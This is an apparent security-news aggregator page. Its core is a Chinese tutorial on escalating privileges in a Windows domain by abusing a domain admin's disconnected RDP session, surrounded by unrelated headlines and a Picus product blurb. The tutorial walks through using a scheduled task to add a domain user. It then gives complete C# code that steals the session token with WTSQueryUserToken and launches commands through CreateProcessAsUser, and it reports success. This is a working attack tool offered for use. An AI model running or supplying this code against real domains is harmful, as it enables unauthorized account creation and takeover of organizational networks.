Aggregator
微软补丁日安全通告 | 12月份
大量用户吐槽,Microsoft 365 又大面积宕机
中国上山遗址发现距今一万年的稻米酒
Септиллион лет за пять минут: чип Willow бросает вызов суперкомпьютерам
金融行业如何做好安全建设?腾讯安全已给出标准模板
直击黄牛抢票、滥用SEO乱象,DataCon竞赛探索网络黑产治理新思路
Zero Day in Cleo File Transfer Software Exploited En Masse
FreeBuf早报 | 欧盟《网络弹性法案》正式生效;俄罗斯通过断网演练主权互联网可用性
微软十二月补丁星期二值得关注的漏洞
详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
Ivanti:注意这个CVSS 满分的认证绕过漏洞
中国的肥胖问题日益严重
微软12月补丁日多个产品安全漏洞风险通告:1个在野利用、17个紧急漏洞
利用断开的域管理员RDP会话提权
当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后,退出3389时没有退出账号而是直接关掉了远程桌面,那么会产生哪些风险呢?有些读者第一个想到的肯定就是抓密码,但是如果抓不到明文密码又或者无法pth呢?
通过计划任务完成域内提权首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面:
然后攻击者可以通过如下方式进行域内提权,已添加域内用户为例,流程为新建计划任务-选择域管用户-执行命令:
选择搜索用户位置为域内:
选择登录进来的域管用户:
设置启动的命令:
然后运行计划任务,可以看到成功添加了域内用户:
有些读者可能会问了,那是不是选择任意域内用户都行,实际上是不行的,会提示用户未登录:
原理实际上也很简单,就是获取进程的token,然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token,然后使用CreateProcessAsUser完成进程的创建:
using System;using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;
class Program
{
[DllImport("wtsapi32.dll", SetLastError = true)]
static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool CreateProcessAsUser(
IntPtr hToken,
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
static void Main(string[] args)
{
if (args.Length < 2)
{
Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
return;
}
int sessionId;
if (!int.TryParse(args[0], out sessionId))
{
Console.WriteLine("Invalid session ID");
return;
}
string command = args[1];
IntPtr userToken = IntPtr.Zero;
IntPtr envBlock = IntPtr.Zero;
try
{
// Get user token for the specified session
bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
if (!tokenResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Create environment block
bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
if (!envResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
// Prepare startup info
STARTUPINFO startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "winsta0\\default";
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
// Create process as user
bool processResult = CreateProcessAsUser(
userToken,
null,
command,
IntPtr.Zero,
IntPtr.Zero,
false,
0x00000400, // CREATE_UNICODE_ENVIRONMENT
envBlock,
null,
ref startupInfo,
out processInfo);
if (!processResult)
{
int error = Marshal.GetLastWin32Error();
throw new Win32Exception(error);
}
Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
// Clean up process handles
CloseHandle(processInfo.hProcess);
CloseHandle(processInfo.hThread);
}
catch (Exception ex)
{
Console.WriteLine("Error: {0}", ex.Message);
}
finally
{
// Clean up resources
if (envBlock != IntPtr.Zero)
{
DestroyEnvironmentBlock(envBlock);
}
if (userToken != IntPtr.Zero)
{
CloseHandle(userToken);
}
}
}
}
编译后进行尝试:
成功完成了token窃取并添加了域内用户。
总结本文通过演示窃取RDP Session Token完成域内提权的目的。
Операция «Цифровой глаз»: как хакеры маскируют свои атаки средствами VSCode
Picus provides automated pentesting testing to help uncover critical risks
Picus Security announced new innovations to its Attack Path Validation (APV) product. The new Picus APV now offers security teams accurate, risk-free, and continuous automated penetration testing to uncover critical risks, while significantly reducing business disruptions and time spent on threat research. Combined with its Breach and Attack Simulation technology, Picus provides a comprehensive approach to Adversarial Exposure Validation for enterprise organizations. By pairing evasive automated penetration testing alongside attack path-mapping capabilities, Picus allows users … More →
The post Picus provides automated pentesting testing to help uncover critical risks appeared first on Help Net Security.